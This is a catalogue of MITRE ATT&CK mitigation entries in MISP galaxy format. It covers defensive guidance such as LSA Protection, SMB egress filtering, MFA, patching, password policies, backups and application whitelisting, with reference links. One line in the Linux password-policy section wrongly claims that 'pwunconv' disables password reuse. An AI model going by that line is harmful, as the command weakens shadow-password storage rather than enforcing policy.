On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection

ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.

On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)

Ensure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)

The tag is: *misp-galaxy:mitre-course-of-action="LSASS Driver Mitigation - T1177"*

Table 9385. Table References

Links
https://attack.mitre.org/mitigations/T1177
https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works
https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
https://technet.microsoft.com/library/dn408187.aspx

Forced Authentication Mitigation - T1187

Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)

For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.

The tag is: *misp-galaxy:mitre-course-of-action="Forced Authentication Mitigation - T1187"*

Table 9386. Table References

Links
https://attack.mitre.org/mitigations/T1187
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices

BITS Jobs Mitigation - T1197

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)

Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.

Consider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)

Consider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS</code>. (Citation: Microsoft BITS)

The tag is: *misp-galaxy:mitre-course-of-action="BITS Jobs Mitigation - T1197"*

Table 9387. Table References

Links
https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
https://attack.mitre.org/mitigations/T1197
https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
https://www.symantec.com/connect/blogs/malware-update-windows-update

Trusted Relationship Mitigation - T1199

Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.

The tag is: *misp-galaxy:mitre-course-of-action="Trusted Relationship Mitigation - T1199"*

Table 9388. Table References

Links
https://attack.mitre.org/mitigations/T1199

Firmware Corruption Mitigation - T1495

Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.

The tag is: *misp-galaxy:mitre-course-of-action="Firmware Corruption Mitigation - T1495"*

Table 9389. Table References

Links
https://attack.mitre.org/mitigations/T1495

Resource Hijacking Mitigation - T1496

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Resource Hijacking Mitigation - T1496"*

Table 9390. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1496
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data Destruction Mitigation - T1488

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data Destruction Mitigation - T1488"*

Table 9391. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1488
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.ready.gov/business/implementation/IT

Service Stop Mitigation - T1489

Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.

The tag is: *misp-galaxy:mitre-course-of-action="Service Stop Mitigation - T1489"*

Table 9392. Table References

Links
https://attack.mitre.org/mitigations/T1489

Multi-factor Authentication - M1032

Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:

- **Something you know**: Passwords, PINs.
- **Something you have**: Physical tokens, smartphone authenticator apps.
- **Something you are**: Biometric data such as fingerprints, facial recognition, or retinal scans.

Implementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:

Identity and Access Management (IAM):

- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.
- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).
- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.

Authentication Tools and Methods:

- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).
- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.
- Enforce biometric authentication for compatible devices and applications.

Secure Legacy Systems:

- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.
- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.

Monitoring and Alerting:

- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.
- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.

Training and Policy Enforcement:

- Educate employees on the importance of MFA and secure authenticator usage.
- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.

The tag is: *misp-galaxy:mitre-course-of-action="Multi-factor Authentication - M1032"*

Table 9393. Table References

Links
https://attack.mitre.org/mitigations/M1032

Rc.common Mitigation - T1163

Limit privileges of user accounts so only authorized users can edit the rc.common file.

The tag is: *misp-galaxy:mitre-course-of-action="Rc.common Mitigation - T1163"*

Table 9394. Table References

Links
https://attack.mitre.org/mitigations/T1163

SSL/TLS Inspection - M1020

SSL/TLS inspection involves decrypting encrypted network traffic to examine its content for signs of malicious activity. This capability is crucial for detecting threats that use encryption to evade detection, such as phishing, malware, or data exfiltration. After inspection, the traffic is re-encrypted and forwarded to its destination. This mitigation can be implemented through the following measures:

Deploy SSL/TLS Inspection Appliances:

- Implement SSL/TLS inspection solutions to decrypt and inspect encrypted traffic.
- Ensure appliances are placed at critical network choke points for maximum coverage.

Configure Decryption Policies:

- Define rules to decrypt traffic for specific applications, ports, or domains.
- Avoid decrypting sensitive or privacy-related traffic, such as financial or healthcare websites, to comply with regulations.

Integrate Threat Intelligence:

- Use threat intelligence feeds to correlate inspected traffic with known indicators of compromise (IOCs).

Integrate with Security Tools:

- Combine SSL/TLS inspection with SIEM and NDR tools to analyze decrypted traffic and generate alerts for suspicious activity.
- Example Tools: Splunk, Darktrace

Implement Certificate Management:

- Use trusted internal or third-party certificates for traffic re-encryption after inspection.
- Regularly update certificate authorities (CAs) to ensure secure re-encryption.

Monitor and Tune:

- Continuously monitor SSL/TLS inspection logs for anomalies and fine-tune policies to reduce false positives.

The tag is: *misp-galaxy:mitre-course-of-action="SSL/TLS Inspection - M1020"*

Table 9395. Table References

Links
https://attack.mitre.org/mitigations/M1020

Regsvcs/Regasm Mitigation - T1121

Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Regsvcs/Regasm Mitigation - T1121"*

Table 9396. Table References

Links
https://attack.mitre.org/mitigations/T1121

Security Updates - M1001

Install security updates in response to discovered vulnerabilities.

Purchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.

Decommission devices that will no longer receive security updates.

Limit or block access to enterprise resources from devices that have not installed recent security updates.

On Android devices, access can be controlled based on each device's security patch level. On iOS devices, access can be controlled based on the iOS version.

The tag is: *misp-galaxy:mitre-course-of-action="Security Updates - M1001"*

Table 9397. Table References

Links
https://attack.mitre.org/mitigations/M1001

Lock Bootloader - M1003

On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.

The tag is: *misp-galaxy:mitre-course-of-action="Lock Bootloader - M1003"*

Table 9398. Table References

Links

https://attack.mitre.org/mitigations/M1003

Network Segmentation - M1030

Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications. By segmenting networks, organizations can reduce the attack surface, restrict lateral movement by adversaries, and protect critical assets from compromise.

Effective network segmentation leverages a combination of physical boundaries, logical separation through VLANs, and access control policies enforced by network appliances like firewalls, routers, and cloud-based configurations. This mitigation can be implemented through the following measures:

Segment Critical Systems:

- Identify and group systems based on their function, sensitivity, and risk. Examples include payment systems, HR databases, production systems, and internet-facing servers.
- Use VLANs, firewalls, or routers to enforce logical separation.

Implement DMZ for Public-Facing Services:

- Host web servers, DNS servers, and email servers in a DMZ to limit their access to internal systems.
- Apply strict firewall rules to filter traffic between the DMZ and internal networks.

Use Cloud-Based Segmentation:

- In cloud environments, use VPCs, subnets, and security groups to isolate applications and enforce traffic rules.
- Apply AWS Transit Gateway or Azure VNet peering for controlled connectivity between cloud segments.

Apply Microsegmentation for Workloads:

- Use software-defined networking (SDN) tools to implement workload-level segmentation and prevent lateral movement.

Restrict Traffic with ACLs and Firewalls:

- Apply Access Control Lists (ACLs) to network devices to enforce "deny by default" policies.
- Use firewalls to restrict both north-south (external-internal) and east-west (internal-internal) traffic.

Monitor and Audit Segmented Networks:

- Regularly review firewall rules, ACLs, and segmentation policies.
- Monitor network flows for anomalies to ensure segmentation is effective.

Test Segmentation Effectiveness:

- Perform periodic penetration tests to verify that unauthorized access is blocked between network segments.

The tag is: *misp-galaxy:mitre-course-of-action="Network Segmentation - M1030"*

Table 9399. Table References

Links
https://attack.mitre.org/mitigations/M1030

Application Vetting - M1005

Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.

Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.

Application Vetting is not a complete mitigation. Techniques such as [Evade Analysis Environment](https://attack.mitre.org/techniques/T1523) exist that can enable adversaries to bypass vetting.

The tag is: *misp-galaxy:mitre-course-of-action="Application Vetting - M1005"*

Table 9400. Table References

Links
https://attack.mitre.org/mitigations/M1005

Exploit Protection - M1050

Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. These capabilities aim to prevent exploitation by addressing vulnerabilities, monitoring anomalous behaviors, and applying exploit-mitigation techniques to harden systems and software.

Operating System Exploit Protections:

- Use Case: Enable built-in exploit protection features provided by modern operating systems, such as Microsoft's Exploit Protection, which includes techniques like Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), and Control Flow Guard (CFG).
- Implementation: Enforce DEP for all programs and enable ASLR to randomize memory addresses used by system and application processes. Windows: Configure Exploit Protection through the Windows Security app or deploy settings via Group Policy. `ExploitProtectionExportSettings.exe -path "exploit_settings.xml"` Linux: Use Kernel-level hardening features like SELinux, AppArmor, or GRSEC to enforce memory protections and

prevent exploits.

Third-Party Endpoint Security:

- Use Case: Use endpoint protection tools with built-in exploit protection, such as enhanced memory protection, behavior monitoring, and real-time exploit detection.
- Implementation: Deploy tools to detect and block exploitation attempts targeting unpatched software.

Virtual Patching: - Use Case: Use tools to implement virtual patches that mitigate vulnerabilities in applications or operating systems until official patches are applied. - Implementation: Use Intrusion Prevention System (IPS) to block exploitation attempts on known vulnerabilities in outdated applications.

Hardening Application Configurations:

- Use Case: Disable risky application features that can be exploited, such as macros in Microsoft Office or JScript in Internet Explorer.
- Implementation: Configure Microsoft Office Group Policies to disable execution of macros in downloaded files.

The tag is: *misp-galaxy:mitre-course-of-action="Exploit Protection - M1050"*

Table 9401. Table References

Links
https://attack.mitre.org/mitigations/M1050

User Guidance - M1011

Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.

The tag is: *misp-galaxy:mitre-course-of-action="User Guidance - M1011"*

Table 9402. Table References

Links
https://attack.mitre.org/mitigations/M1011

Enterprise Policy - M1012

An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.

The tag is: *misp-galaxy:mitre-course-of-action="Enterprise Policy - M1012"*

Table 9403. Table References

Links
https://attack.mitre.org/mitigations/M1012

Interconnection Filtering - M1014

In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).

The tag is: *misp-galaxy:mitre-course-of-action="Interconnection Filtering - M1014"*

Table 9404. Table References

Links
https://attack.mitre.org/mitigations/M1014
https://web.archive.org/web/20200330012714/https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf

Rootkit Mitigation - T1014

Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Rootkit Mitigation - T1014"*

Table 9405. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1014
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Update Software - M1051

Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following

measures:

Regular Operating System Updates

- Implementation: Apply the latest Windows security updates monthly using WSUS (Windows Server Update Services) or a similar patch management solution. Configure systems to check for updates automatically and schedule reboots during maintenance windows.
- Use Case: Prevents exploitation of OS vulnerabilities such as privilege escalation or remote code execution.

Application Patching

- Implementation: Monitor Apache's update release notes for security patches addressing vulnerabilities. Schedule updates for off-peak hours to avoid downtime while maintaining security compliance.
- Use Case: Prevents exploitation of web application vulnerabilities, such as those leading to unauthorized access or data breaches.

Firmware Updates

- Implementation: Regularly check the vendor's website for firmware updates addressing vulnerabilities. Plan for update deployment during scheduled maintenance to minimize business disruption.
- Use Case: Protects against vulnerabilities that adversaries could exploit to gain access to network devices or inject malicious traffic.

Emergency Patch Deployment

- Implementation: Use the emergency patch deployment feature of the organization's patch management tool to apply updates to all affected Exchange servers within 24 hours.
- Use Case: Reduces the risk of exploitation by rapidly addressing critical vulnerabilities.

Centralized Patch Management

- Implementation: Implement a centralized patch management system, such as SCCM or ManageEngine, to automate and track patch deployment across all environments. Generate regular compliance reports to ensure all systems are updated.
- Use Case: Streamlines patching processes and ensures no critical systems are missed.

Tools for Implementation

Patch Management Tools:

- WSUS: Manage and deploy Microsoft updates across the organization.
- ManageEngine Patch Manager Plus: Automate patch deployment for OS and third-party apps.
- Ansible: Automate updates across multiple platforms, including Linux and Windows.

Vulnerability Scanning Tools:

- OpenVAS: Open-source vulnerability scanning to identify missing patches.

The tag is: *misp-galaxy:mitre-course-of-action="Update Software - M1051"*

Table 9406. Table References

Links
https://attack.mitre.org/mitigations/M1051

Vulnerability Scanning - M1016

Vulnerability scanning involves the automated or manual assessment of systems, applications, and networks to identify misconfigurations, unpatched software, or other security weaknesses. The process helps prioritize remediation efforts by classifying vulnerabilities based on risk and impact, reducing the likelihood of exploitation by adversaries. This mitigation can be implemented through the following measures:

Proactive Identification of Vulnerabilities

- Implementation: Use tools like Nessus or OpenVAS to scan endpoints, servers, and applications for missing patches and configuration issues. Schedule regular scans to ensure timely identification of vulnerabilities introduced by new deployments or updates.
- Use Case: A scan identifies unpatched software, such as outdated Apache servers, which could be exploited via CVE-XXXX-XXXX. The server is promptly patched, mitigating the risk.

Cloud Environment Scanning

- Implementation: Use cloud-specific vulnerability management tools like AWS Inspector, Azure Security Center, or GCP Security Command Center to identify issues like open S3 buckets or overly permissive IAM roles.
- Use Case: The scan detects a misconfigured S3 bucket with public read access, which is remediated to prevent potential data leakage.

Network Device Scanning

- Implementation: Use tools to scan network devices for vulnerabilities, such as weak SNMP strings or outdated firmware. Correlate scan results with vendor advisories to prioritize updates.
- Use Case: Scanning detects a router running outdated firmware vulnerable to CVE-XXXX-YYYY. The firmware is updated to a secure version.

Web Application Scanning

- Implementation: Use dynamic application security testing (DAST) tools such as OWASP ZAP or Burp Suite to scan for common vulnerabilities like SQL injection or cross-site scripting (XSS). Perform regular scans post-deployment to identify newly introduced vulnerabilities.
- Use Case: A scan identifies a cross-site scripting vulnerability in a form input field, which is promptly remediated by developers.

Prioritizing Vulnerabilities

- Implementation: Use vulnerability scoring frameworks like CVSS to assess severity. Integrate vulnerability scanning tools with ticketing systems to assign remediation tasks based on criticality.
- Use Case: A critical vulnerability with a CVSS score of 9.8 affecting remote access servers is prioritized and patched first.

Tools for Implementation

Open Source Tools:

- OpenVAS: Comprehensive network and system vulnerability scanning.
- OWASP ZAP: Dynamic scanning of web applications for vulnerabilities.
- Nmap with NSE Scripts: Network scanning with scripts to detect vulnerabilities.

The tag is: *misp-galaxy:mitre-course-of-action="Vulnerability Scanning - M1016"*

Table 9407. Table References

Links
https://attack.mitre.org/mitigations/M1016

Mshta Mitigation - T1170

Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Mshta Mitigation - T1170"*

Table 9408. Table References

Links
https://attack.mitre.org/mitigations/T1170

User Training - M1017

User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:

Create Comprehensive Training Programs:

- Design training modules tailored to the organization's risk profile, covering topics such as

phishing, password management, and incident reporting.

- Provide role-specific training for high-risk employees, such as helpdesk staff or executives.

Use Simulated Exercises:

- Conduct phishing simulations to measure user susceptibility and provide targeted follow-up training.
- Run social engineering drills to evaluate employee responses and reinforce protocols.

Leverage Gamification and Engagement:

- Introduce interactive learning methods such as quizzes, gamified challenges, and rewards for successful detection and reporting of threats.

Incorporate Security Policies into Onboarding:

- Include cybersecurity training as part of the onboarding process for new employees.
- Provide easy-to-understand materials outlining acceptable use policies and reporting procedures.

Regular Refresher Courses:

- Update training materials to include emerging threats and techniques used by adversaries.
- Ensure all employees complete periodic refresher courses to stay informed.

Emphasize Real-World Scenarios:

- Use case studies of recent attacks to demonstrate the consequences of successful phishing or social engineering.
- Discuss how specific employee actions can prevent or mitigate such attacks.

The tag is: *misp-galaxy:mitre-course-of-action="User Training - M1017"*

Table 9409. Table References

Links
https://attack.mitre.org/mitigations/M1017

Screensaver Mitigation - T1180

Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)

The tag is: *misp-galaxy:mitre-course-of-action="Screensaver Mitigation - T1180"*

Table 9410. Table References

Links
https://attack.mitre.org/mitigations/T1180
https://technet.microsoft.com/library/cc938799.aspx

Rundll32 Mitigation - T1085

Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)

The tag is: *misp-galaxy:mitre-course-of-action="Rundll32 Mitigation - T1085"*

Table 9411. Table References

Links
https://attack.mitre.org/mitigations/T1085
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET

Hypervisor Mitigation - T1062

Prevent adversary access to privileged accounts necessary to install a hypervisor.

The tag is: *misp-galaxy:mitre-course-of-action="Hypervisor Mitigation - T1062"*

Table 9412. Table References

Links
https://attack.mitre.org/mitigations/T1062

DCShadow Mitigation - T1207

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

The tag is: *misp-galaxy:mitre-course-of-action="DCShadow Mitigation - T1207"*

Table 9413. Table References

Links
https://attack.mitre.org/mitigations/T1207

Password Policies - M1027

Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:

Windows Systems:

- Use Group Policy Management Console (GPMC) to configure:
- Minimum password length (e.g., 12+ characters).
- Password complexity requirements.
- Password history (e.g., disallow last 24 passwords).
- Account lockout duration and thresholds.

Linux Systems:

- Configure Pluggable Authentication Modules (PAM):
- Use `pam_pwquality` to enforce complexity and length requirements.
- Implement `pam_tally2` or `pam_faillock` for account lockouts.
- Use `pwunconv` to disable password reuse.

Password Managers:

- Enforce usage of enterprise password managers (e.g., Bitwarden, 1Password, LastPass) to generate and store strong passwords.

Password Blacklisting:

- Use tools like Have I Been Pwned password checks or NIST-based blacklist solutions to prevent users from setting compromised passwords.

Regular Auditing:

- Periodically audit password policies and account configurations to ensure compliance using tools like LAPS (Local Admin Password Solution) and vulnerability scanners.

Tools for Implementation

Windows:

- Group Policy Management Console (GPMC): Enforce password policies.
- Microsoft Local Administrator Password Solution (LAPS): Enforce random, unique admin passwords.

Linux/macOS:

- PAM Modules (pam_pwquality, pam_tally2, pam_faillock): Enforce password rules.

- Lynis: Audit password policies and system configurations.

Cross-Platform:

- Password Managers (Bitwarden, 1Password, KeePass): Manage and enforce strong passwords.
- Have I Been Pwned API: Prevent the use of breached passwords.
- NIST SP 800-63B compliant tools: Enforce password guidelines and blacklisting.

The tag is: *misp-galaxy:mitre-course-of-action="Password Policies - M1027"*

Table 9414. Table References

Links
https://attack.mitre.org/mitigations/M1027

Kerberoasting Mitigation - T1208

Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)

The tag is: *misp-galaxy:mitre-course-of-action="Kerberoasting Mitigation - T1208"*

Table 9415. Table References

Links
https://adsecurity.org/?p=2293
https://attack.mitre.org/mitigations/T1208

Data Backup - M1053

Data Backup involves taking and securely storing backups of data from end-user systems and critical servers. It ensures that data remains available in the event of system compromise, ransomware attacks, or other disruptions. Backup processes should include hardening backup systems, implementing secure storage solutions, and keeping backups isolated from the corporate network to prevent compromise during active incidents. This mitigation can be implemented through the following measures:

Regular Backup Scheduling: - Use Case: Ensure timely and consistent backups of critical data. - Implementation: Schedule daily incremental backups and weekly full backups for all critical servers and systems.

Immutable Backups: - Use Case: Protect backups from modification or deletion, even by attackers. - Implementation: Use write-once-read-many (WORM) storage for backups, preventing ransomware from encrypting or deleting backup files.

Backup Encryption: - Use Case: Protect data integrity and confidentiality during transit and storage. - Implementation: Encrypt backups using strong encryption protocols (e.g., AES-256) before storing them in local, cloud, or remote locations.

Offsite Backup Storage: - Use Case: Ensure data availability during physical disasters or onsite breaches. - Implementation: Use cloud-based solutions like AWS S3, Azure Backup, or physical offsite storage to maintain a copy of critical data.

Backup Testing: - Use Case: Validate backup integrity and ensure recoverability. - Implementation: Regularly test data restoration processes to ensure that backups are not corrupted and can be recovered quickly.

The tag is: *misp-galaxy:mitre-course-of-action="Data Backup - M1053"*

Table 9416. Table References

Links
https://attack.mitre.org/mitigations/M1053

Masquerading Mitigation - T1036

When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.

Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Masquerading Mitigation - T1036"*

Table 9417. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1036
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Execution Prevention - M1038

Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:

Application Control:

- Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.
- Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath "C:\Policies\AppLocker.xml"`)

Script Blocking:

- Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.
- Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g., `Set-ExecutionPolicy AllSigned`)

Executable Blocking:

- Use Case: Prevent execution of binaries from suspicious locations, such as `%TEMP%` or `%APPDATA%` directories.
- Implementation: Block execution of `.exe`, `.bat`, or `.ps1` files from user-writable directories.

Dynamic Analysis Prevention: - Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time. - Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.

The tag is: *misp-galaxy:mitre-course-of-action="Execution Prevention - M1038"*

Table 9418. Table References

Links
https://attack.mitre.org/mitigations/M1038

Software Configuration - M1054

Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:

Conduct a Security Review of Application Settings:

- Review the software documentation to identify recommended security configurations.
- Compare default settings against organizational policies and compliance requirements.

Implement Access Controls and Permissions:

- Restrict access to sensitive features or data within the software.
- Enforce least privilege principles for all roles and accounts interacting with the software.

Enable Logging and Monitoring:

- Configure detailed logging for key application events such as authentication failures, configuration changes, or unusual activity.
- Integrate logs with a centralized monitoring solution, such as a SIEM.

Update and Patch Software Regularly:

- Ensure the software is kept up-to-date with the latest security patches to address known vulnerabilities.
- Use automated patch management tools to streamline the update process.

Disable Unnecessary Features or Services:

- Turn off unused functionality or components that could introduce vulnerabilities, such as debugging interfaces or deprecated APIs.

Test Configuration Changes:

